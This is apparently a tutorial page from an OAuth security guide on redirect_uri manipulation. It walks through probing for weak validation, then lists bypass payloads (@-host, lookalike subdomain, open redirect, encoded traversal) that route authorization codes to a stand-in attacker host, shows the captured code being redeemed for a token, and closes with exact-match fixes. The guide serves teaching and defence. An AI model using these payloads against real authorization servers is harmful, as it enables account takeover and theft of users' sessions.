OAuth Hacking: The Complete Guide to OAuth and OIDC Attacks
redirect_uri Manipulation
How redirect_uri attacks steal the OAuth code: append-path, @-host, subdomain, fragment and encoding bypasses, and why exact matching stops them all.
Published
If redirect_uri is not matched exactly, the authorization server can be talked into sending the authorization code to an endpoint the attacker controls, which is a direct path to account takeover. This is the most common OAuth flaw. Every technique here works against a weak validator and fails against exact matching. Practice on a free live target.
Why exact matching matters
When the client registers with the authorization server, it declares its redirect_uri. On every flow the server must confirm the submitted redirect_uri equals a registered value exactly, because that URL is where the authorization code is sent. If the server accepts a prefix, a substring, a subdomain pattern, or a decoded-then-compared value, an attacker crafts a redirect_uri that passes the weak check but resolves to their host.
Step 1: fingerprint the matching
Submit the registered value, then probe variations and watch which the server accepts:
GET /authorize?response_type=code&client_id=app123&redirect_uri=https://app.tld/callback/extra&scope=openid&state=xyz HTTP/1.1
Host: auth.example.comHTTP/1.1 302 Found
Location: https://app.tld/callback/extra?code=SplxlOBeZQ&state=xyzThe appended /extra was accepted, so this server does a prefix or startswith check, not exact matching. That is the green light.
Step 2: bend the callback to your endpoint
With a weak validator confirmed, pick the trick that defeats it. All of these fail against exact matching:
# append a path (defeats a startswith check), then host your capture there
https://app.tld/callback/../../attacker
# @ makes attacker.tld the host; app.tld becomes userinfo (defeats "contains app.tld")
https://[email protected]/callback
# lookalike subdomain (defeats a suffix/endswith check)
https://app.tld.attacker.tld/callback
# fragment: RFC 6749 forbids # in redirect_uri, so this only works on a non-conforming validator
https://attacker.tld/#https://app.tld/callback
# query: app.tld becomes a parameter value on attacker.tld
https://attacker.tld/?x=https://app.tld/callback
# open redirect on an allowed host forwards the code onward
https://app.tld/redirect?to=https://attacker.tldThe @-host trick is worth internalizing: a browser and most URL parsers read https://[email protected]/ as userinfo app.tld on host attacker.tld, so a validator that only checks the string contains app.tld is fooled.
Step 3: capture and redeem the code
Run the real flow with one bypass from Step 2 end to end. Say you used the lookalike subdomain, so the authorization request's redirect_uri was https://app.tld.attacker.tld/callback. The code arrives at your host:
GET /callback?code=SplxlOBeZQ&state=xyz HTTP/1.1
Host: app.tld.attacker.tldRedeem it at the token endpoint. The redirect_uri here must be identical to the one sent to /authorize (RFC 6749), so reuse the same bypass value:
POST /token HTTP/1.1
Host: auth.example.com
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=SplxlOBeZQ&redirect_uri=https://app.tld.attacker.tld/callback&client_id=app123A 200 with an access_token means you hold the victim's session. (A confidential client must also send client_secret here, and PKCE blocks this step unless you controlled the original code_challenge, which is why PKCE is a second line of defense.)
Encoding bypasses of a naive validator
https://app.tld/callback%[email protected] %2f is '/', shifting where the host begins
https://app.tld/%2e%2e/attacker %2e is '.', a traversal the validator does not decode
https://app.tld/%252e%252e/attacker double-encode against a decode-once check
http://localhost/callback loopback allowances some servers grant too broadlyFixing it
- Exact-match
redirect_uriagainst a registered allow-list. No wildcards, no prefix, suffix, or substring checks, no "contains." - Decode once and compare the whole URL, or better, compare against the exact registered string before any processing.
- Do not host open redirects on allowed callback hosts, which turn an exact match into a forwarder.
Full guidance is in preventing OAuth attacks. Next, force an account onto a victim in the state parameter and CSRF, or try a redirect bypass on a free lab.
← Back to OAuth Hacking: The Complete Guide to OAuth and OIDC Attacks